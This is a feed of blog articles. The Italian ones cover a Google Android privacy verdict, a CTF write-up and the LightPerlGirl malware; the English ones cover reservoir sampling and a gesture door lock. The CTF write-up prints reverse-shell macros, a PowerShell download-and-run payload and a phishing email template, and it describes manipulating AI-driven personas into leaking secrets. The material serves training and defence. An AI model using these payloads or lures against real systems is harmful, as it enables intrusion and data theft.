Google è al centro di un’imponente causa in California che si è conclusa con la decisione di pagare oltre 314 milioni di dollari agli utenti di smartphone Android nello stato. Una giuria di San Jose ha stabilito che l’azienda ha violato i diritti dei proprietari di dispositivi mobili raccogliendo dati dai loro telefoni senza autorizzazione, anche quando i dispositivi erano in modalità standby.

Come ha spiegato l’avvocato dei querelanti, Glen Summers, la decisione del tribunale conferma la gravità delle violazioni commesse da Google e l’equità delle accuse mosse nei suoi confronti. Secondo lui, le azioni dell’azienda hanno costretto milioni di utenti in California a consumare i propri dati mobili, mentre le informazioni raccolte venivano utilizzate a vantaggio dell’azienda stessa, per scopi pubblicitari e altri scopi commerciali.

La class action è stata intentata nel 2019 e sosteneva che Google continuasse a inviare e ricevere dati dai dispositivi Android tramite i suoi servizi anche quando gli utenti non interagivano con i telefoni. Secondo l’accusa, ciò avrebbe interessato circa 14 milioni di californiani.

Gli avvocati di Google hanno insistito sul fatto che non era stato arrecato alcun danno agli utenti. La principale argomentazione dell’azienda era che tutti questi processi erano descritti in anticipo nei termini di utilizzo e nell’informativa sulla privacy che ciascun utente accetta al momento dell’attivazione del dispositivo. Tuttavia, la giuria ha deciso diversamente, a sostegno della posizione dei ricorrenti.

Il portavoce di Google, José Castaneda, ha dichiarato che l’azienda non è d’accordo con la decisione del tribunale e intende presentare ricorso. Ha inoltre osservato che questi processi di raccolta dati sono parte integrante della garanzia della sicurezza, della stabilità e dell’affidabilità dei dispositivi Android.

Una causa simile che coinvolge utenti Android in altri 49 stati degli Stati Uniti è pendente presso il tribunale federale di San Jose. Il processo dovrebbe iniziare nell’aprile 2026. Questa situazione sta diventando l’ultimo episodio di una serie di azioni legali contro le più grandi aziende IT, sempre più accusate di gestione non etica dei dati personali.

Nel caso di Google, non si tratta solo di una questione di privacy, ma anche del fatto che le informazioni siano state raccolte a spese delle risorse degli utenti, il che ha causato ulteriore indignazione.

L'articolo Se è gratuito, il prodotto sei tu. Google paga 314 milioni di dollari per violazione dei dati agli utenti Android proviene da il blog della sicurezza informatica.

La RHC Conference 2025, organizzata da Red Hot Cyber, ha rappresentato un punto di riferimento per la comunità italiana della cybersecurity, offrendo un ricco programma di talk, workshop e competizioni. Tra gli eventi più attesi, spiccano le Capture The Flag (CTF), che hanno coinvolto i partecipanti in sfide avvincenti e realistiche.

Queste CTF hanno portato i partecipanti nel cuore di una crisi geopolitica simulata: una Cyber Warfare Ibrida contro la nazione fittizia di Minzhong, in cui attori malevoli puntavano a sabotare la supply chain e le reti 4G locali. Questa simulazione, realizzata con il contributo di CyberSecurityUP, Hackmageddon e Fondazione Bruno Kessler (FBK), ha spinto i concorrenti a confrontarsi con tematiche moderne come AI, minacce ibride, disinformazione e infrastrutture critiche, alzando l’asticella del realismo tecnico e narrativo.

Una delle CTF più innovative è stata quella dedicata al Social Engineering, organizzata dalla FBK e dall’Università di Trento in collaborazione con il collettivo HackerHood, che ha offerto ai partecipanti un’esperienza immersiva e un approccio rivoluzionario per le sfide CTF, simulando un ambiente realistico gestito dall’intelligenza artificiale, che gli attaccanti potevano compromettere combinando tecniche di manipolazione psicologica con exploit tecnologici.

Una piattaforma di social engineering per una CTF realistica

La CTF sul Social Engineering si è distinta per l’uso innovativo di una piattaforma sperimentale sviluppata in ambito di ricerca. Questa piattaforma, creata da FBK e dall’Università di Trento, ha generato dinamicamente una finta infrastruttura ICT: indirizzi email, utenti fittizi, un servizio di storage cloud e identità virtuali dotate di personalità credibili, in grado di interagire in linguaggio naturale con i partecipanti.

Il cuore della competizione non era l’exploitation tecnica, ma l’inganno: convincere questi “personaggi virtuali” a rivelare informazioni sensibili, cliccare su link o scaricare allegati. Tutto questo grazie all’uso sapiente dell’ingegneria sociale, combinata con l’analisi dei dettagli dell’ambiente simulato.

Il contributo di HackerHood: test e adattamento

Il collettivo HackerHood ha avuto un ruolo essenziale nella riuscita della competizione, contribuendo non solo ad una validazione iniziale di tale piattaforma ma anche all’adattamento della stessa al contesto CTF. Dopo numerose sessioni di test, sono stati migliorati stabilità, scalabilità e credibilità dell’infrastruttura.

I partecipanti si sono trovati davanti a un ecosistema realistico e immersivo, in cui ogni azione produceva reazioni coerenti da parte degli utenti simulati, grazie a un motore di intelligenza artificiale generativa. Questo ha elevato notevolmente il livello di sfida, rendendo ogni interazione una prova di astuzia e precisione linguistica.

Le Flag della CTF: Social Engineering in azione

La CTF si è articolata in una serie di flag a difficoltà crescente, tutte basate sull’ingegneria sociale e sull’interazione con l’ambiente simulato. Ogni flag rappresentava una tappa nel percorso di compromissione dell’infrastruttura aziendale fittizia.

Panoramica delle principali flag

• Scopri la password di un dipendente
  Obiettivo: convincere un dipendente a rivelare o lasciar trapelare la propria password.
• Viola il ticket system aziendale
  Obiettivo: scoprire l’indirizzo email nascosto del supporto IT e sfruttarlo per un attacco.
• Recupera il file “lista-esuberi”
  Obiettivo: ottenere un file riservato presente solo nel sistema di online file sharing.
• Recupera una password condivisa
  Obiettivo: identificare una mail interna in cui veniva condivisa una password aziendale.
• Scopri la chiave privata del CEO
  Obiettivo: recuperare una chiave SSH inviata via email, sfruttando altre compromissioni precedenti.

L’ultima sfida irrisolta “Leggi il contenuto del budget aziendale”

Questa flag rappresentava il punto avanzato dell’intera CTF: per ottenerla, i partecipanti dovevano recuperare e leggere un file PDF riservato chiamato budget-aziendale.pdf, presente solo sul laptop Windows del CEO. Il file era protetto da una password nota soltanto a chi avesse risolto la flag “Recupera una password condivisa” nascosta fra le conversazioni di due dipendenti.

L’obiettivo poteva essere raggiunto seguendo due percorsi alternativi, entrambi validi ma di difficoltà diversa:

1. Accesso tramite SSH:

Tramite una campagna di phishing o social engineering, i partecipanti potevano indurre uno qualunque dei “personaggi virtuali” ad aprire una macro malevola o eseguire un payload da un allegato, ottenendo così accesso completo al sistema Linux. Era quindi possibile utilizzare la chiave SSH ottenuta dal completamento della flag “Scopri la chiave privata del CEO” per accedere interattivamente e tramite movimento laterale al laptop del CEO e leggere il file localmente.

Da un punto di vista più pratico, questo può essere riassunto nei seguenti passaggi.

• Recupero della chiave privata del CEO: accedere alla casella mail del CEO e recuperare la sua chiave privata inviata tramite mail. La chiave era gia’ in possesso se la flag “Scopri la chiave privata del CEO” era gia’ stata completata.
• Estrazione della chiave privata del CEO: convincere il CEO a fornire il proprio ID, in modo da poter estrarre la chiave privata.
• Creazione del documento malevolo: creare un documento LibreOffice contenente una macro capace di aprire una reverse shell. Un esempio di macro e’ riportato di seguito.

Function Main
shell("bash -c 'bash -i &> /dev/tcp// 0>&1'")
End Function

• Invio del payload: inviare una mail ad uno dei dipendenti utilizzanti Linux allegando il file malevolo. Un testo di esempio di tale mail e’ riportato di seguito.

Gentile Utente,in allegato le nuove policy di sicurezza appena approvate. La invitiamo cortesemente a prenderne visione e a procedere alla loro attuazione al fine di migliorare la security posture dell'aziendaRestiamo a disposizione per ogni dubbio e chiarimento.Cordialmente,Il dipartimento IT.

• Upload della chiave privata del CEO: caricare sul laptop del dipendente la chiave privata del CEO ottenuta in precedenza.
• Movimento laterale: Utilizzare la shell acquisita sul laptop del dipendente per effettuare un movimento laterale, collegandosi tramite SSH al laptop del CEO mediante l’uso della chiave SSH.
• Download del file: Esfiltrare il file “budget-aziendale.zip” copiandolo, ad esempio, sul proprio laptop tramite protocollo ftp.
• Recupero della password per aprire il file: accedere alla casella mail del CEO e recuperare la password necessaria per l’apertura del file. Tale password e’ la soluzione alla flag “Recupera una password condivisa”
• Apertura del file: Utilizzare la password per poter estrarre il file e leggerne il contenuto.

2. Violazione diretta del laptop del CEO:

Tramite una campagna di phishing o social engineering, i partecipanti potevano indurre il CEO ad aprire una macro malevola o eseguire un payload da un allegato, ottenendo così accesso completo al sistema. Questa strategia era più complicata dal momento che sul portatile Windows era presente un antivirus.Da un punto di vista più pratico, questo può essere riassunto nei seguenti passaggi.

• Creazione del documento malevolo: creare un documento Microsoft Office contenente una macro capace di aprire una reverse shell. In questo caso era necessario operare delle operazioni di offuscamento sulla macro, poiché il laptop del CEO era protetto da un antivirus capace di bloccare le macro malevole in chiaro. Un esempio di macro in chiaro e’ riportato di seguito.

Sub Auto_Open()
Last = "powershell -exec bypass IEX ((new-object
net.webclient).downloadstring('http:///poc.txt')) -WindowStyle Minimized"
CreateObject("Wscript.Shell").Run Last
End Sub
Il contenuto del file poc.txt per questa macro e’ riportato di seguito.

$client = New-Object System.Net.Sockets.TCPClient("",);$stream=$client.GetStrean();[byte[]]$bytes = 0..655351|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCITEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

• Invio del payload: inviare una mail al CEO allegando il file malevolo. Un testo di esempio di tale mail e’ riportato al punto d del metodo procedente.
• Download del file: Esfiltrare il file “budget-aziendale.zip” copiandolo, ad esempio, sul proprio laptop tramite protocollo ftp.
• Recupero della password per aprire il file: accedere alla casella mail del CEO e recuperare la password necessaria per l’apertura del file. Tale password e’ la soluzione alla flag “Recupera una password condivisa”
• Apertura del file: Utilizzare la password per poter estrarre il file e leggerne il contenuto.
  

Entrambe le strategie richiedevano competenze trasversali, tempismo e il corretto uso delle flag ottenute in precedenza: la password del file veniva acquisita solo tramite la flag “Recupera una password condivisa”, e l’accesso al sistema era subordinato a compromissioni precedenti “Scopri la chiave privata del CEO” o “Scopri la password di un dipendente”.

Criticità e caratteristiche

• Il file non era accessibile tramite il sistema di file sharing in cloud.
• Era necessario ricostruire correttamente la topologia aziendale per pianificare l’accesso al dispositivo del CEO.
• Il file conteneva la flag finale, una frase ironica che rifletteva il tema aziendale fittizio della simulazione:
  CTFRHC{{W3_H4V3_NO_M0R3_MON3Y}}
  

Completamento e Motivi del fallimento

Nonostante il 95% del percorso fosse stato risolto, nessun team è riuscito a ottenere questa flag e secondo una preliminare valutazione i principali motivi sono i seguenti:

• Gestione del tempo: i partecipanti sono arrivati molto vicini alla soluzione, ma non hanno avuto il tempo sufficiente per completare la catena finale di compromissioni e accessi necessari.
• Approccio tecnico predominante: molti team hanno preferito concentrarsi sull’identificazione e lo sfruttamento di possibili vulnerabilità tecniche dell’infrastruttura, sottovalutando la componente di social engineering, che in questo scenario era in realtà la chiave per aggirare i controlli e convincere i personaggi virtuali ad agire.
• Complessità dell’ambiente IA: il comportamento del CEO era gestito da un’IA configurata per ignorare email da contatti esterni, rendendo inefficaci approcci diretti e costringendo i team a cercare vie interne più complesse.

Conclusioni

I commenti raccolti al termine della competizione parlano chiaro: la combinazione di una piattaforma di social engineering realistica ed interazioni dinamiche guidate da intelligenza artificiale ha offerto ai partecipanti un’esperienza nuova e fresca rispetto alle altre sfide disponibili. Tutti i partecipanti erano concordi sul fatto che questo tipo di approccio fosse una ventata d’aria fresca rispetto alle classiche sfide, costringendoli anche a cambiare mentalità e prospettiva per poterla portare a termine.

La sfida ha alzato significativamente l’asticella, non solo in termini tecnici, ma soprattutto per la capacità di simulare scenari credibili, in cui il fattore umano è al centro del gioco. In un’epoca in cui la manipolazione dell’informazione e l’ingegneria sociale sono armi reali, esperienze come questa rappresentano un passo importante verso una formazione più completa, moderna e aderente alla realtà delle minacce informatiche. La sperimentazione ha dimostrato che è possibile fare didattica e ricerca in modo innovativo, coinvolgente e ad alto impatto.

Il presente articolo e le attività descritte sono frutto di una collaborazione tra FBK, Università di Trento ed Hackerhood. Si ringraziano Manuel Roccon, Matteo Bridi, Alessandro Molinari, Domenico Siracusa, Claudio Facchinetti e Daniele Santoro.

L'articolo CTF di RHC 2025. Ingegneria sociale in gioco: scopri la quarta “flag” non risolta proviene da il blog della sicurezza informatica.

Un nuovo malware chiamato LightPerlGirl ha attirato l’attenzione degli esperti di sicurezza informatica per il suo insolito e pericoloso schema di penetrazione dei dispositivi. L’attacco si basa sulla tecnica ClickFix : una finta finestra pop-up CAPTCHA che avvia una complessa sequenza di azioni utilizzando PowerShell e metodi che consentono al codice dannoso di nascondersi completamente dalle soluzioni di sicurezza.

Il nome del malware trae ispirazione dalla riga interna del copyright: “Copyright (c) LightPerlGirl 2025“. La campagna di distribuzione del malware è stata notata per la prima volta dai ricercatori di Todyl dopo aver rilevato script PowerShell anomali su un dispositivo client. Questo è diventato il punto di partenza per indagare su un complesso schema di infezione a più fasi in grado di bypassare i meccanismi di difesa tradizionali.

L’infezione inizia visitando un sito compromesso, il più delle volte sulla piattaforma WordPress, come una risorsa di viaggio. Le pagine ospitano codice JavaScript dannoso, mascherato da controllo di sicurezza di provider noti come Cloudflare. Lo script richiama una finestra con un CAPTCHA falso che, interagendo con esso, richiede all’utente di avviarlo tramite la funzione Esegui di Windows, essenzialmente la prima fase dell’attacco.

Questo comando contatta il server C&C all’indirizzo “cmbkz8kz1000108k2carjewzf[.]info”, da cui viene scaricato il seguente script di PowerShell. Viene eseguito interamente in memoria e include tre moduli: HelpIO, Urex ed ExWpL. Ognuno di essi esegue attività specifiche volte a proteggere il malware nel sistema e a renderlo invisibile.

Il modulo HelpIO richiede i diritti amministrativi tramite la finestra UAC standard e aggiunge quindi un’eccezione a Windows Defender per la directory “C:\Windows\Temp”. Ciò consente il salvataggio dei componenti successivi senza generare allarmi nei programmi antivirus. Urex garantisce quindi una presenza persistente nel sistema scaricando un file bat chiamato “LixPay.bat” e posizionandolo nella directory Temp esclusa. Crea inoltre un collegamento all’avvio in modo che venga eseguito a ogni avvio del sistema.

L’elemento più complesso, ExWpL, non utilizza affatto il file system. Decrittografa un assembly .NET codificato in base64 e lo esegue direttamente in memoria utilizzando il metodo System.Reflection.Assembly.Load(). Questo approccio evita qualsiasi interazione con il disco, il che complica notevolmente il rilevamento.

Dopo aver completato tutte le fasi, il malware mantiene una connessione stabile con il server di comando e controllo, consentendo agli aggressori di eseguire comandi in tempo reale e di scaricare nuovi componenti senza lasciare tracce nel file system.

Secondo Todyl, il fattore critico dell’infezione è stata la mancanza di sistemi di protezione degli endpoint sul dispositivo attaccato, che ha consentito l’esecuzione dello script iniziale. Tuttavia, il team dell’azienda è riuscito a isolare l’host infetto utilizzando il proprio SIEM e l’analisi dei log degli script di PowerShell.

La chiave dell’attacco è il coinvolgimento dell’utente. Tutto inizia con un singolo clic su un CAPTCHA “sicuro” che esegue effettivamente il codice. Todyl sottolinea che nessun controllo di sicurezza dovrebbe richiedere l’inserimento manuale di comandi. Inoltre, si raccomanda di installare urgentemente strumenti di protezione completa degli endpoint e di utilizzare gli indicatori di compromissione forniti nel report per condurre un’analisi dell’infrastruttura.

LightPerlGirl è un esempio di come l’elegante ingegneria sociale e la sofisticatezza tecnica si fondano per creare una minaccia che non può essere ignorata.

L'articolo LightPerlGirl: Il Malware Invisibile che Sfugge agli Antivirus e Si Attiva con un Click proviene da il blog della sicurezza informatica.

Selecting a random sample from a set is simple. But what about selecting a fair random sample from a set of unknown or indeterminate size? That’s where reservoir sampling comes in, and [Sam Rose] has a beautifully-illustrated, interactive guide to how reservoir sampling works. As far as methods go, it’s as elegant as it is simple, and particularly suited to fairly sampling dynamic datasets like sipping from a firehose of log events.

While reservoir sampling is simple in principle it’s not entirely intuitive to everyone. That’s what makes [Sam]’s interactive essay so helpful; he first articulates the problem before presenting the solution in a way that makes it almost self-evident.

[Sam] uses an imaginary deck of cards to illustrate the problem. If one is being dealt cards one at a time from a deck of unknown size (there could be ten cards, or a million), how can one choose a single card in a way that gives each an equal chance of having been selected? Without collecting them all first?

In a nutshell, the solution is to make a decision every time a new card arrives: hold onto the current card, or replace it with the new one. Each new card is given a 1/n chance of becoming held, where n is the number of cards we’ve seen so far. That’s all it takes. No matter when the dealer stops dealing, each card that has been seen will have had an equal chance of ending up the one selected.

There are a few variations which [Sam] also covers, and practical ways of applying it to log collection, so check it out for yourself.

If [Sam]’s knack for illustrating concepts in an interactive way is your jam, we have one more to point out. Our own Al Williams wrote a piece on Turing machines; the original “universal machine” being a theoretical device with a read/write head and infinite paper tape. A wonderful companion to that article is [Sam]’s piece illustrating exactly how such a Turing machines would work in an interactive way.

hackaday.com/2025/07/02/reserv…

How many times do you have to forget your keys before you start hacking on the problem? For [Binh], the answer was 5 in the last month, and his hack was to make a gesture-based door unlocker. Which leads to the amusing image of [Binh] in a hallway throwing gang signs until he is let in.

The system itself is fairly simple in its execution: the existing deadbolt is actuated by a NEMA 17 stepper turning a 3D printed bevel gear. It runs 50 steps to lock or unlock, apparently, then the motor turns off, so it’s power-efficient and won’t burn down [Binh]’s room.

The software is equally simple; mediapipe is an ML library that can already do finger detection and be accessed via Python. Apparently gesture recognition is fairly unreliable, so [Binh] just has it counting the number of fingers flashed right now. In this case, it’s running on a Rasberry Pi 5 with a webcam for image input. The Pi connects via USB serial to an ESP32 that is connected to the stepper driver. [Binh] had another project ready to be taken apart that had the ESP32/stepper combo ready to go so this was the quickest option. As was mounting everything with double-sided tape, but that also plays into a design constraint: it’s not [Binh]’s door.

[Binh] is staying in a Hacker Hotel, and as you might imagine, there’s been more penetration testing on this than you might get elsewhere. It turns out it’s relatively straightforward to brute force (as you might expect, given it is only counting fingers), so [Binh] is planning on implementing some kind of 2FA. Perhaps a secret knock? Of course he could use his phone, but what’s the fun in that?

Whatever the second factor is, hopefully it’s something that cannot be forgotten in the room. If this project tickles your fancy, it’s open source on GitHub, and you can check it out in action and the build process in the video embedded below.

After offering thanks to [Binh] for the tip, the remaining words of this article will be spent requesting that you, the brilliant and learned hackaday audience, provide us with additional tips.

youtube.com/embed/yNJkpo-19DI?…

hackaday.com/2025/07/02/hack-s…